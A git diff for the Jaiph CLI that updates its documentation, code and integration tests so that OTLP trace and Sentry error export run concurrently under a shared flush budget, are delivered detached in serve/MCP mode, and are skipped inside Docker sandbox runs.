`process.env["JAIPH_*"]` read in `src/`, and these escape that pattern (read through a computed key). Both are managed entirely by the CLI — never export them by hand. | Variable | Scope | Role | |---|---|---| | `JAIPH_RUN_WORKFLOW` | internal | Root workflow symbol the inner `jaiph run --raw` executes. Set as `-e` only for a non-`default` root (for example an MCP tool call); read back in the container by `runWorkflowRaw` through a computed key. Reserved from `--env` (`E_ENV_RESERVED`). | +| `JAIPH_DOCKER_SANDBOX` | internal | Marks the inner `jaiph run --raw` as the host-orchestrated sandbox run so it does **not** re-export telemetry — the outer host process exports that run exactly once. Always set as `-e` on the container. Covered by the `JAIPH_DOCKER_*` reservation (`E_ENV_RESERVED`) and never auto-forwarded from the host env. | ## Agent credentials @@ -135,10 +137,12 @@ For the common "forward this host key" case, the [`trusted_envs`](configuration. ## Telemetry variables Jaiph reads the standard OpenTelemetry environment variables to export one trace -per run to an OTLP collector — there are **no `JAIPH_*` variables** for this -feature. These are consumed **host-side, after the run completes** (they are never +per run to an OTLP collector — enablement uses **only `OTEL_*` / `SENTRY_*`**, not +`JAIPH_*`. These are consumed **host-side, after the run completes** (they are never forwarded into the Docker sandbox), so they are not tracked by the `JAIPH_*` -source-parity harness above. Export is enabled iff a traces endpoint is set. See +source-parity harness above. Export is enabled iff a traces endpoint is set. The +one Jaiph-owned knob is the shared flush budget `JAIPH_TELEMETRY_FLUSH_MS` (in the +source-parity table above), which bounds — but never enables — delivery. See [Export traces to an OTLP collector](observability.md). | Variable | Type | Default | Role | diff --git a/docs/observability.md b/docs/observability.md index ff9bdfac..dff4bdfa 100644 --- a/docs/observability.md +++ b/docs/observability.md @@ -35,8 +35,12 @@ export OTEL_EXPORTER_OTLP_TRACES_ENDPOINT="http://localhost:4318/v1/traces" jaiph run ./flows/review.jh "review this diff" ``` -Every `jaiph run` completion and every workflow invoked through `jaiph mcp` / -`jaiph serve` then posts exactly one trace. +Every terminal run posts exactly one trace: an interactive `jaiph run`, a +standalone `jaiph run --raw`, and every workflow invoked through `jaiph mcp` / +`jaiph serve`. A Docker-sandboxed run is exported once by the host process that +launched the container — the inner `jaiph run --raw` inside the container is +marked as the sandbox run and never re-exports (no `OTEL_*`/`SENTRY_*` crosses +the boundary anyway), so a container run is not double-counted. ### A local collector @@ -93,6 +97,15 @@ Telemetry never affects a run. An unreachable or erroring collector produces are untouched. There are no retries and no queue — a run is minutes long, so end-of-run batching is the normal OTLP pattern. +The OTLP-trace and Sentry exporters run **concurrently under one total flush +budget** (`JAIPH_TELEMETRY_FLUSH_MS`, default 10 s), so the whole post-run flush +is bounded by that budget rather than the sum of two sequential timeouts. In the +long-lived `jaiph serve` / `jaiph mcp` processes delivery is **detached**: the +run is marked terminal and its execution-concurrency slot released *before* +best-effort delivery, so an unreachable backend can never delay a terminal +result or hold a slot. Detached delivery failures are counted as bounded +metrics with capped stderr warnings. + Only OTLP/HTTP with a JSON payload is spoken. If `OTEL_EXPORTER_OTLP_PROTOCOL` is set to anything other than `http/json` (for example `grpc`), Jaiph warns and skips the export rather than mis-speak a protocol. @@ -116,8 +129,10 @@ jaiph run ./deploy.jh ``` The same host-side, end-of-run choke point that exports traces fires the report — -so `jaiph run` completions and workflows invoked through `jaiph mcp` / `jaiph serve` -are all covered. A malformed DSN produces exactly one stderr warning and no send. +so `jaiph run` completions (including standalone `jaiph run --raw`) and workflows +invoked through `jaiph mcp` / `jaiph serve` are all covered, each producing one +Sentry event on failure. A malformed DSN produces exactly one stderr warning and +no send. ### What the event carries @@ -139,8 +154,9 @@ credential-redacted), never from the raw `.out` / `.err` captures: ### Failure is never load-bearing Like trace export, a Sentry report never affects a run. An unreachable or erroring -Sentry, a malformed DSN, or a timeout (10 s) produces **exactly one** stderr warning -line; the run's exit code, output, and journal are untouched. There are no retries. +Sentry, a malformed DSN, or a timeout (the shared `JAIPH_TELEMETRY_FLUSH_MS` +budget, default 10 s) produces **exactly one** stderr warning line; the run's exit +code, output, and journal are untouched. There are no retries. ## Related diff --git a/integration/otlp-export.test.ts b/integration/otlp-export.test.ts index 1d054968..8eef5f6a 100644 --- a/integration/otlp-export.test.ts +++ b/integration/otlp-export.test.ts @@ -46,6 +46,19 @@ function startCollector(status = 200): Promise { }); } +/** Poll until the collector has received at least `n` requests (or time out). */ +function waitForCollector(collector: FakeCollector, n: number, label: string, timeoutMs = 5_000): Promise { + const deadline = Date.now() + timeoutMs; + return new Promise((resolve, reject) => { + const tick = (): void => { + if (collector.requests.length >= n) return resolve(); + if (Date.now() > deadline) return reject(new Error(`timeout waiting for ${n} collector request(s): ${label}`)); + setTimeout(tick, 25); + }; + tick(); + }); +} + /** Bind then immediately release a port so a request to it is refused. */ function reservedClosedPort(): Promise { return new Promise((resolve) => { @@ -57,6 +70,71 @@ function reservedClosedPort(): Promise { }); } +/** + * A "black-hole" endpoint: accepts the connection and reads the request but + * never responds, so an *awaited* export would hang until the flush budget. It + * lets a timing assertion prove delivery is detached (terminal result returns + * without waiting on the hanging POST). All sockets are destroyed on close. + */ +function startBlackHole(): Promise<{ port: number; close: () => Promise }> { + return new Promise((resolve) => { + const sockets = new Set(); + const server: Server = createServer((req) => { + req.resume(); // drain the body; never call res.end() + }); + server.on("connection", (s) => { + sockets.add(s); + s.on("close", () => sockets.delete(s)); + }); + server.listen(0, "127.0.0.1", () => { + const port = (server.address() as AddressInfo).port; + resolve({ + port, + close: () => + new Promise((r) => { + for (const s of sockets) s.destroy(); + server.close(() => r()); + }), + }); + }); + }); +} + +interface ServeProc { + baseUrl: string; + close: () => Promise; +} + +/** Spawn `jaiph serve --port 0`, resolving once it logs its bound listen URL. */ +function startServe(fixture: string, cwd: string, env: NodeJS.ProcessEnv): Promise { + const child = spawn("node", [CLI_PATH, "serve", "--port", "0", fixture], { cwd, env, stdio: ["ignore", "pipe", "pipe"] }); + let stderrBuf = ""; + return new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(new Error(`serve did not start\nstderr:\n${stderrBuf}`)), 20_000); + child.stderr.setEncoding("utf8"); + child.stderr.on("data", (chunk: string) => { + stderrBuf += chunk; + const m = stderrBuf.match(/listening on (http:\/\/[^ ]+)/); + if (m) { + clearTimeout(timer); + resolve({ + baseUrl: m[1], + close: () => + new Promise((res) => { + child.on("exit", () => res()); + child.kill("SIGTERM"); + setTimeout(() => child.kill("SIGKILL"), 8_000).unref(); + }), + }); + } + }); + child.on("exit", (code) => { + clearTimeout(timer); + reject(new Error(`serve exited early (code ${code})\nstderr:\n${stderrBuf}`)); + }); + }); +} + /** * Run the CLI asynchronously so the test process's event loop keeps running — * the in-process fake collector must be able to accept the export connection @@ -144,6 +222,34 @@ test("jaiph run: with OTLP env, exactly one well-formed POST reaches /v1/traces" } }); +test("jaiph run --raw: standalone raw run exports exactly one trace", async () => { + const collector = await startCollector(200); + const root = mkdtempSync(join(tmpdir(), "jaiph-otlp-raw-")); + try { + const jh = join(root, "app.jh"); + writeFileSync(jh, STEP_FIXTURE); + const result = await runCli(["run", "--raw", jh], { + cwd: root, + env: { + ...baseEnv(join(root, ".jaiph/runs")), + OTEL_EXPORTER_OTLP_ENDPOINT: `http://127.0.0.1:${collector.port}`, + }, + }); + assert.equal(result.status, 0, result.stderr); + // A one-shot raw run awaits the export before exit, so the POST has landed. + assert.equal(collector.requests.length, 1, "standalone --raw exports exactly one trace"); + assert.equal(collector.requests[0].url, "/v1/traces"); + const payload = JSON.parse(collector.requests[0].body) as { + resourceSpans: Array<{ scopeSpans: Array<{ spans: Array<{ name: string }> }> }>; + }; + const spans = payload.resourceSpans[0].scopeSpans[0].spans; + assert.ok(spans.some((s) => s.name === "workflow default"), "root span present in raw export"); + } finally { + await collector.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + test("jaiph run: with no OTLP env, nothing is exported", async () => { const collector = await startCollector(200); const root = mkdtempSync(join(tmpdir(), "jaiph-otlp-none-")); @@ -306,8 +412,10 @@ test("MCP tools/call triggers exactly one export per call via the shared call la const call = await waitFor((m) => m.id === 1, "tools/call"); assert.equal((call.result as { isError: boolean }).isError, false); - // The export is awaited inside the shared call layer before the response is - // sent, so by now exactly one POST has landed for this one call. + // Delivery is detached: the tool response is sent (and the concurrency slot + // released) before best-effort export, so the POST lands shortly *after* the + // response rather than blocking it. Poll for the single request. + await waitForCollector(collector, 1, "one export per tools/call"); assert.equal(collector.requests.length, 1, "exactly one export per tools/call"); assert.equal(collector.requests[0].url, "/v1/traces"); const payload = JSON.parse(collector.requests[0].body) as { @@ -325,3 +433,132 @@ test("MCP tools/call triggers exactly one export per call via the shared call la rmSync(root, { recursive: true, force: true }); } }); + +test("MCP tools/call: an unreachable collector cannot delay the tool response", async () => { + const hole = await startBlackHole(); + const root = mkdtempSync(join(tmpdir(), "jaiph-otlp-mcp-hole-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, ["# Greets.", "workflow greet(name) {", ' return "hi ${name}"', "}", ""].join("\n")); + const child = spawn("node", [CLI_PATH, "mcp", jh], { + cwd: root, + env: { + ...baseEnv(join(root, ".jaiph/runs")), + OTEL_EXPORTER_OTLP_ENDPOINT: `http://127.0.0.1:${hole.port}`, + // Budget >> the asserted bound: an awaited export would block ~8 s. + JAIPH_TELEMETRY_FLUSH_MS: "8000", + }, + stdio: ["pipe", "pipe", "pipe"], + }); + const messages: McpMessage[] = []; + let buf = ""; + child.stdout.setEncoding("utf8"); + child.stdout.on("data", (chunk: string) => { + buf += chunk; + let idx = buf.indexOf("\n"); + while (idx !== -1) { + const line = buf.slice(0, idx); + buf = buf.slice(idx + 1); + if (line.length > 0) messages.push(JSON.parse(line) as McpMessage); + idx = buf.indexOf("\n"); + } + }); + const send = (m: Record): void => void child.stdin.write(`${JSON.stringify(m)}\n`); + const waitFor = (pred: (m: McpMessage) => boolean, label: string): Promise => + new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(new Error(`timeout: ${label}`)), 6_000); + const tick = (): void => { + const found = messages.find(pred); + if (found) return clearTimeout(timer), resolve(found); + setTimeout(tick, 25); + }; + tick(); + }); + + try { + send({ jsonrpc: "2.0", id: 0, method: "initialize", params: { protocolVersion: "2025-06-18", capabilities: {}, clientInfo: { name: "probe", version: "1" } } }); + await waitFor((m) => m.id === 0, "initialize"); + send({ jsonrpc: "2.0", method: "notifications/initialized" }); + + const started = Date.now(); + send({ jsonrpc: "2.0", id: 1, method: "tools/call", params: { name: "greet", arguments: { name: "x" } } }); + const call = await waitFor((m) => m.id === 1, "tools/call"); + const elapsed = Date.now() - started; + assert.equal((call.result as { isError: boolean }).isError, false); + assert.ok(elapsed < 4_000, `tool response must not wait on the hanging export (took ${elapsed}ms)`); + } finally { + await new Promise((resolve) => { + child.on("exit", () => resolve()); + child.stdin.end(); + setTimeout(() => child.kill("SIGKILL"), 5_000).unref(); + }); + await hole.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +// --- HTTP `jaiph serve` shared-call-layer export --------------------------- + +const GREET_SERVE_FIXTURE = ["# Greets.", "workflow greet(name) {", ' return "hi ${name}"', "}", ""].join("\n"); + +test("jaiph serve: an HTTP run exports exactly one trace via the shared call layer", async () => { + const collector = await startCollector(200); + const root = mkdtempSync(join(tmpdir(), "jaiph-otlp-serve-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, GREET_SERVE_FIXTURE); + const serve = await startServe(jh, root, { + ...baseEnv(join(root, ".jaiph/runs")), + OTEL_EXPORTER_OTLP_ENDPOINT: `http://127.0.0.1:${collector.port}`, + }); + try { + const res = await fetch(`${serve.baseUrl}/v1/workflows/greet/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: JSON.stringify({ name: "x" }), + }); + const run = (await res.json()) as { status: string }; + assert.equal(run.status, "succeeded", JSON.stringify(run)); + + await waitForCollector(collector, 1, "one export per HTTP run"); + assert.equal(collector.requests.length, 1, "exactly one export per HTTP run"); + assert.equal(collector.requests[0].url, "/v1/traces"); + const payload = JSON.parse(collector.requests[0].body) as { + resourceSpans: Array<{ resource: { attributes: Array<{ key: string; value: { stringValue?: string } }> } }>; + }; + const wf = payload.resourceSpans[0].resource.attributes.find((a) => a.key === "jaiph.workflow"); + assert.equal(wf?.value.stringValue, "greet", "the workflow symbol is on the resource"); + } finally { + await serve.close(); + await collector.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph serve: an unreachable collector cannot delay a terminal ?wait=true result", async () => { + const hole = await startBlackHole(); + const root = mkdtempSync(join(tmpdir(), "jaiph-otlp-serve-hole-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, GREET_SERVE_FIXTURE); + const serve = await startServe(jh, root, { + ...baseEnv(join(root, ".jaiph/runs")), + OTEL_EXPORTER_OTLP_ENDPOINT: `http://127.0.0.1:${hole.port}`, + // Budget >> the asserted bound: an awaited export would block the terminal + // result and its concurrency slot for ~8 s. + JAIPH_TELEMETRY_FLUSH_MS: "8000", + }); + try { + const started = Date.now(); + const res = await fetch(`${serve.baseUrl}/v1/workflows/greet/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: JSON.stringify({ name: "x" }), + }); + const run = (await res.json()) as { status: string }; + const elapsed = Date.now() - started; + assert.equal(run.status, "succeeded", JSON.stringify(run)); + assert.ok(elapsed < 4_000, `terminal result / slot must release before delivery (took ${elapsed}ms)`); + } finally { + await serve.close(); + await hole.close(); + rmSync(root, { recursive: true, force: true }); + } +}); diff --git a/integration/sentry-export.test.ts b/integration/sentry-export.test.ts index 7523b6c7..aebd7581 100644 --- a/integration/sentry-export.test.ts +++ b/integration/sentry-export.test.ts @@ -53,6 +53,54 @@ function reservedClosedPort(): Promise { }); } +/** Poll until the fake ingest has received at least `n` requests (or time out). */ +function waitForRequests(sentry: FakeSentry, n: number, label: string, timeoutMs = 5_000): Promise { + const deadline = Date.now() + timeoutMs; + return new Promise((resolve, reject) => { + const tick = (): void => { + if (sentry.requests.length >= n) return resolve(); + if (Date.now() > deadline) return reject(new Error(`timeout waiting for ${n} envelope(s): ${label}`)); + setTimeout(tick, 25); + }; + tick(); + }); +} + +interface ServeProc { + baseUrl: string; + close: () => Promise; +} + +/** Spawn `jaiph serve --port 0`, resolving once it logs its bound listen URL. */ +function startServe(fixture: string, cwd: string, env: NodeJS.ProcessEnv): Promise { + const child = spawn("node", [CLI_PATH, "serve", "--port", "0", fixture], { cwd, env, stdio: ["ignore", "pipe", "pipe"] }); + let stderrBuf = ""; + return new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(new Error(`serve did not start\nstderr:\n${stderrBuf}`)), 20_000); + child.stderr.setEncoding("utf8"); + child.stderr.on("data", (chunk: string) => { + stderrBuf += chunk; + const m = stderrBuf.match(/listening on (http:\/\/[^ ]+)/); + if (m) { + clearTimeout(timer); + resolve({ + baseUrl: m[1], + close: () => + new Promise((res) => { + child.on("exit", () => res()); + child.kill("SIGTERM"); + setTimeout(() => child.kill("SIGKILL"), 8_000).unref(); + }), + }); + } + }); + child.on("exit", (code) => { + clearTimeout(timer); + reject(new Error(`serve exited early (code ${code})\nstderr:\n${stderrBuf}`)); + }); + }); +} + /** * Run the CLI asynchronously so the test process's event loop keeps running — * the in-process fake Sentry must accept the envelope connection while the run @@ -169,6 +217,55 @@ test("jaiph run: a succeeding run with SENTRY_DSN delivers nothing", async () => } }); +test("jaiph run --raw: a failed standalone raw run delivers exactly one Sentry event", async () => { + const sentry = await startSentry(200); + const root = mkdtempSync(join(tmpdir(), "jaiph-sentry-raw-")); + try { + const jh = join(root, "app.jh"); + writeFileSync(jh, FAIL_FIXTURE); + const result = await runCli(["run", "--raw", jh], { + cwd: root, + env: { ...baseEnv(join(root, ".jaiph/runs")), SENTRY_DSN: dsn(sentry.port) }, + }); + assert.notEqual(result.status, 0, "the run itself fails"); + // A one-shot raw run awaits delivery before exit, so the envelope has landed. + assert.equal(sentry.requests.length, 1, "standalone --raw delivers exactly one Sentry event"); + const event = JSON.parse(sentry.requests[0].body.split("\n")[2]) as { message: { formatted: string } }; + assert.equal(event.message.formatted, "workflow default failed (exit 3)"); + } finally { + await sentry.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph serve: a failed HTTP run delivers exactly one Sentry event via the shared call layer", async () => { + const sentry = await startSentry(200); + const root = mkdtempSync(join(tmpdir(), "jaiph-sentry-serve-")); + const jh = join(root, "tools.jh"); + // A named workflow (serve requires named tools) whose one step fails. + writeFileSync(jh, ['script boom = `echo "step output"; exit 3`', "# Fails on purpose.", "workflow crash() {", " run boom()", "}", ""].join("\n")); + const serve = await startServe(jh, root, { ...baseEnv(join(root, ".jaiph/runs")), SENTRY_DSN: dsn(sentry.port) }); + try { + const res = await fetch(`${serve.baseUrl}/v1/workflows/crash/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: "{}", + }); + const run = (await res.json()) as { status: string }; + assert.equal(run.status, "failed", JSON.stringify(run)); + // Detached: the terminal result returns before delivery, so poll for the envelope. + await waitForRequests(sentry, 1, "one Sentry event per failed HTTP run"); + assert.equal(sentry.requests.length, 1, "exactly one Sentry event per failed HTTP run"); + const event = JSON.parse(sentry.requests[0].body.split("\n")[2]) as { message: { formatted: string }; tags: Record }; + assert.equal(event.message.formatted, "workflow crash failed (exit 3)"); + assert.equal(event.tags["jaiph.workflow"], "crash"); + } finally { + await serve.close(); + await sentry.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + test("jaiph run: a failed run WITHOUT SENTRY_DSN delivers nothing", async () => { const sentry = await startSentry(200); const root = mkdtempSync(join(tmpdir(), "jaiph-sentry-nodsn-")); diff --git a/src/cli/commands/run.test.ts b/src/cli/commands/run.test.ts index c7dcfefd..07e9ead0 100644 --- a/src/cli/commands/run.test.ts +++ b/src/cli/commands/run.test.ts @@ -3,8 +3,8 @@ import assert from "node:assert/strict"; import { mkdtempSync, writeFileSync, rmSync, mkdirSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; -import { runWorkflow } from "./run"; -import { _dockerExec, _dockerSpawn } from "../../runtime/docker"; +import { runWorkflow, shouldExportRawTelemetry } from "./run"; +import { _dockerExec, _dockerSpawn, DOCKER_SANDBOX_ENV } from "../../runtime/docker"; import { UNSAFE_RUN_LOGWARN_MESSAGE } from "../../runtime/docker-inplace"; const MIN_WORKFLOW = `workflow default() {\n log "hi"\n}\n`; @@ -267,3 +267,13 @@ test("runWorkflow: --workspace bypasses detectWorkspaceRoot — explicit-missing ); assert.deepEqual(fence.calls(), []); }); + +// --- Standalone raw telemetry gate ----------------------------------------- + +test("shouldExportRawTelemetry: standalone raw exports; docker-inner raw is skipped", () => { + // A user-invoked `jaiph run --raw` on the host exports its own telemetry. + assert.equal(shouldExportRawTelemetry({}), true); + // The inner raw run of a host-orchestrated Docker run is marked and must skip, + // so the outer host process is the single exporter (no double export). + assert.equal(shouldExportRawTelemetry({ [DOCKER_SANDBOX_ENV]: "1" }), false); +}); diff --git a/src/cli/commands/run.ts b/src/cli/commands/run.ts index d387fddb..b015bbd1 100644 --- a/src/cli/commands/run.ts +++ b/src/cli/commands/run.ts @@ -62,6 +62,7 @@ import { resolveDockerHostRunsRoot, selectSandboxMode, RUN_WORKFLOW_ENV, + DOCKER_SANDBOX_ENV, } from "../../runtime/docker"; import { confirmInplaceRun, confirmUnsafeRun, UNSAFE_RUN_LOGWARN_MESSAGE } from "../../runtime/docker-inplace"; import { @@ -396,6 +397,19 @@ async function runWorkflowRaw( ); const childExit = await waitForRunExit(execResult); + // A user-invoked standalone `jaiph run --raw` exports telemetry like a normal + // run. The inner raw process of a host-orchestrated Docker run is marked with + // DOCKER_SANDBOX_ENV and skips here — the outer host process exports that run + // exactly once. Best-effort; never affects the exit status below. + if (shouldExportRawTelemetry(process.env)) { + await exportRunTelemetry({ + runDir: readRunDirFromMeta(metaFile), + workflow: workflowSymbol, + exitStatus: childExit.status, + signal: childExit.signal, + env: process.env, + }); + } return childExit.status; } finally { if (shouldCleanup) { @@ -404,6 +418,27 @@ async function runWorkflowRaw( } } +/** + * A standalone `jaiph run --raw` exports its own telemetry; the inner raw run of + * a host-orchestrated Docker run does not (marked by DOCKER_SANDBOX_ENV), so the + * outer host process is the single exporter for that run — no double export. + */ +export function shouldExportRawTelemetry(env: NodeJS.ProcessEnv): boolean { + return !env[DOCKER_SANDBOX_ENV]; +} + +/** Read `run_dir=` from a runner meta file; undefined when absent/unwritten. */ +function readRunDirFromMeta(metaFile: string): string | undefined { + if (!existsSync(metaFile)) return undefined; + for (const line of readFileSync(metaFile, "utf8").split(/\r?\n/)) { + if (line.startsWith("run_dir=")) { + const value = line.slice("run_dir=".length).trim(); + if (value) return value; + } + } + return undefined; +} + function writeWorkflowRootLabel( mod: ReturnType, runArgs: string[], diff --git a/src/cli/exec/call.ts b/src/cli/exec/call.ts index c6229de2..e0f8ada3 100644 --- a/src/cli/exec/call.ts +++ b/src/cli/exec/call.ts @@ -22,7 +22,7 @@ import { type SandboxMode, } from "../../runtime/docker"; import { discoverDockerRunDir, remapContainerPath } from "../shared/errors"; -import { exportRunTelemetry } from "../telemetry/otlp"; +import { deliverRunTelemetryDetached } from "../telemetry/otlp"; import { redactCredentials } from "../../runtime/kernel/redact"; /** @@ -220,8 +220,12 @@ export async function callWorkflow( }); } // One export per call — the shared choke point covering every MCP tool call and - // HTTP `jaiph serve` invocation. Best-effort; never changes the call result. - await exportRunTelemetry({ + // HTTP `jaiph serve` invocation. Detached (fire-and-forget): returning here lets + // the caller mark the run terminal and release its execution-concurrency slot + // before best-effort delivery, so an unreachable backend can never delay a + // terminal result or hold a slot. Delivery failures are tracked as bounded + // metrics; never changes the call result. + deliverRunTelemetryDetached({ runDir: result.runDir, workflow: workflowSymbol, exitStatus: result.exitStatus ?? 0, diff --git a/src/cli/telemetry/otlp.test.ts b/src/cli/telemetry/otlp.test.ts index 502b446d..c7658354 100644 --- a/src/cli/telemetry/otlp.test.ts +++ b/src/cli/telemetry/otlp.test.ts @@ -1,11 +1,19 @@ import test from "node:test"; import assert from "node:assert/strict"; import { createHash } from "node:crypto"; +import { createServer, type Server } from "node:http"; +import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { AddressInfo } from "node:net"; +import { join } from "node:path"; import { runSummaryToOtlp, resolveOtlpEndpoint, parseKeyValueList, + resolveFlushBudgetMs, exportRunTelemetry, + deliverRunTelemetryDetached, + telemetryDeliveryMetrics, type OtlpMeta, } from "./otlp"; @@ -264,3 +272,117 @@ test("exportRunTelemetry: no OTLP endpoint → no-op, no output", async () => { } assert.equal(captured.length, 0); }); + +test("resolveFlushBudgetMs: default when unset, override when positive, fallback on junk", () => { + assert.equal(resolveFlushBudgetMs({}), 10_000); + assert.equal(resolveFlushBudgetMs({ JAIPH_TELEMETRY_FLUSH_MS: "2500" }), 2500); + assert.equal(resolveFlushBudgetMs({ JAIPH_TELEMETRY_FLUSH_MS: "0" }), 10_000, "0 is non-positive → default"); + assert.equal(resolveFlushBudgetMs({ JAIPH_TELEMETRY_FLUSH_MS: "-5" }), 10_000, "negative → default"); + assert.equal(resolveFlushBudgetMs({ JAIPH_TELEMETRY_FLUSH_MS: "abc" }), 10_000, "unparseable → default"); +}); + +/** Accepts a connection and never responds — an awaited POST hangs until the budget. */ +function startBlackHole(): Promise<{ port: number; close: () => Promise }> { + return new Promise((resolve) => { + const sockets = new Set(); + const server: Server = createServer((req) => req.resume()); + server.on("connection", (s) => { + sockets.add(s); + s.on("close", () => sockets.delete(s)); + }); + server.listen(0, "127.0.0.1", () => { + const port = (server.address() as AddressInfo).port; + resolve({ + port, + close: () => + new Promise((r) => { + for (const s of sockets) s.destroy(); + server.close(() => r()); + }), + }); + }); + }); +} + +/** Minimal failed-run journal: one workflow + one nonzero step, with a run_id. */ +function writeFailedJournal(dir: string): void { + const runId = "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"; + const lines = [ + { type: "WORKFLOW_START", workflow: "default", source: "x.jh", ts: "2026-04-21T16:02:00Z", run_id: runId }, + { type: "STEP_END", func: "boom", kind: "script", name: "boom", ts: "2026-04-21T16:02:01Z", status: 1, id: "R:2", run_id: runId, out_content: "", err_content: "bad\n" }, + { type: "WORKFLOW_END", workflow: "default", source: "x.jh", ts: "2026-04-21T16:02:02Z", run_id: runId }, + ]; + writeFileSync(join(dir, "run_summary.jsonl"), lines.map((l) => JSON.stringify(l)).join("\n")); +} + +test("exportRunTelemetry: OTLP + Sentry run concurrently under one shared flush budget", async () => { + const hole = await startBlackHole(); + const dir = mkdtempSync(join(tmpdir(), "jaiph-flush-")); + const original = process.stderr.write.bind(process.stderr); + (process.stderr as unknown as { write: (s: string) => boolean }).write = () => true; + try { + writeFailedJournal(dir); + const started = Date.now(); + await exportRunTelemetry({ + runDir: dir, + workflow: "default", + exitStatus: 1, + signal: null, + env: { + OTEL_EXPORTER_OTLP_ENDPOINT: `http://127.0.0.1:${hole.port}`, + SENTRY_DSN: `http://key@127.0.0.1:${hole.port}/1`, + JAIPH_TELEMETRY_FLUSH_MS: "400", + }, + }); + const elapsed = Date.now() - started; + // Both exporters hang; concurrent-under-one-budget finishes near one budget + // (~400ms), well under the sequential 2x (~800ms+). + assert.ok(elapsed < 750, `concurrent flush should be ~one budget, took ${elapsed}ms`); + } finally { + (process.stderr as unknown as { write: typeof original }).write = original; + await hole.close(); + rmSync(dir, { recursive: true, force: true }); + } +}); + +test("deliverRunTelemetryDetached: failures are tracked in bounded metrics, never thrown", async () => { + const dir = mkdtempSync(join(tmpdir(), "jaiph-detached-")); + const original = process.stderr.write.bind(process.stderr); + (process.stderr as unknown as { write: (s: string) => boolean }).write = () => true; + try { + writeFailedJournal(dir); + const before = telemetryDeliveryMetrics(); + // A refused port (bind then release) fails fast for both exporters. + const refused = await new Promise((resolve) => { + const s = createServer(); + s.listen(0, "127.0.0.1", () => { + const p = (s.address() as AddressInfo).port; + s.close(() => resolve(p)); + }); + }); + deliverRunTelemetryDetached({ + runDir: dir, + workflow: "default", + exitStatus: 1, + signal: null, + env: { + OTEL_EXPORTER_OTLP_ENDPOINT: `http://127.0.0.1:${refused}`, + SENTRY_DSN: `http://key@127.0.0.1:${refused}/1`, + JAIPH_TELEMETRY_FLUSH_MS: "1000", + }, + }); + // Poll the metrics until both failures register (delivery is fire-and-forget). + const deadline = Date.now() + 5_000; + for (;;) { + const m = telemetryDeliveryMetrics(); + if (m.otlpFailures > before.otlpFailures && m.sentryFailures > before.sentryFailures) break; + if (Date.now() > deadline) { + assert.fail(`metrics did not register both failures: ${JSON.stringify(m)}`); + } + await new Promise((r) => setTimeout(r, 25)); + } + } finally { + (process.stderr as unknown as { write: typeof original }).write = original; + rmSync(dir, { recursive: true, force: true }); + } +}); diff --git a/src/cli/telemetry/otlp.ts b/src/cli/telemetry/otlp.ts index 8e43d3e8..1c57c2b9 100644 --- a/src/cli/telemetry/otlp.ts +++ b/src/cli/telemetry/otlp.ts @@ -290,17 +290,18 @@ export function parseKeyValueList(raw: string | undefined): Record, headers: Record, + timeoutMs: number, ): Promise { return postWithTimeout( endpoint, JSON.stringify(payload), { "content-type": "application/json", ...headers }, - 10_000, + timeoutMs, ); } @@ -314,44 +315,150 @@ export interface ExportRunTelemetryOptions { env: NodeJS.ProcessEnv; } +/** Per-exporter delivery result — `sent`, `skipped` (disabled/no data), or `failed`. */ +export type ExportOutcome = "sent" | "skipped" | "failed"; + +/** Default total flush budget (ms) shared by the concurrent exporters. */ +const DEFAULT_FLUSH_BUDGET_MS = 10_000; + +/** + * Total flush budget shared by both exporters (they run concurrently, each + * bounded by this, so the whole post-run flush cannot exceed it). Configurable + * via `JAIPH_TELEMETRY_FLUSH_MS`; a non-positive or unparseable value falls back + * to the default. + */ +export function resolveFlushBudgetMs(env: NodeJS.ProcessEnv): number { + const raw = env.JAIPH_TELEMETRY_FLUSH_MS?.trim(); + if (!raw) return DEFAULT_FLUSH_BUDGET_MS; + const n = Number(raw); + return Number.isFinite(n) && n > 0 ? n : DEFAULT_FLUSH_BUDGET_MS; +} + +/** Default warning sink — one stderr line per failure. */ +function stderrWarn(msg: string): void { + process.stderr.write(msg); +} + /** - * Single shared post-run hook, invoked wherever a run reaches terminal state on - * the host (`jaiph run` completion, the shared MCP/HTTP workflow-call layer) — - * one choke point for every mode. Dispatches the two independent, best-effort - * exporters: OTLP traces (every run, when a collector is configured) and a - * Sentry error report (failed runs only, when `SENTRY_DSN` is set). Neither is - * load-bearing: a failure in either produces exactly one stderr warning and - * never affects the run's exit code, output, or journal. + * Run both best-effort exporters concurrently under one shared flush budget: + * OTLP traces (every run, when a collector is configured) and a Sentry error + * report (failed runs only, when `SENTRY_DSN` is set). Concurrency (not the + * former sequential await) keeps the worst case at one budget instead of two. + * Neither is load-bearing: a failure produces exactly one warning through + * `warn` and never affects the run's exit code, output, or journal. + */ +function runExporters( + opts: ExportRunTelemetryOptions, + warn: (msg: string) => void, +): Promise<{ otlp: ExportOutcome; sentry: ExportOutcome }> { + const budgetMs = resolveFlushBudgetMs(opts.env); + return Promise.all([ + exportOtlpTraces(opts, budgetMs, warn), + reportRunFailureToSentry(opts, budgetMs, warn), + ]).then(([otlp, sentry]) => ({ otlp, sentry })); +} + +/** + * Single shared post-run hook for one-shot callers (`jaiph run` completion, + * standalone `jaiph run --raw`) that must stay alive for the flush. Awaits both + * exporters concurrently under one flush budget; warnings go to stderr. */ export async function exportRunTelemetry(opts: ExportRunTelemetryOptions): Promise { - await exportOtlpTraces(opts); - await reportRunFailureToSentry(opts); + await runExporters(opts, stderrWarn); +} + +/** + * Bounded, cumulative delivery metrics for the long-lived (detached) path. A + * `jaiph serve` / `jaiph mcp` process can drive many exports at an unreachable + * backend; these counters (and the bounded warning cap below) keep that + * observable without 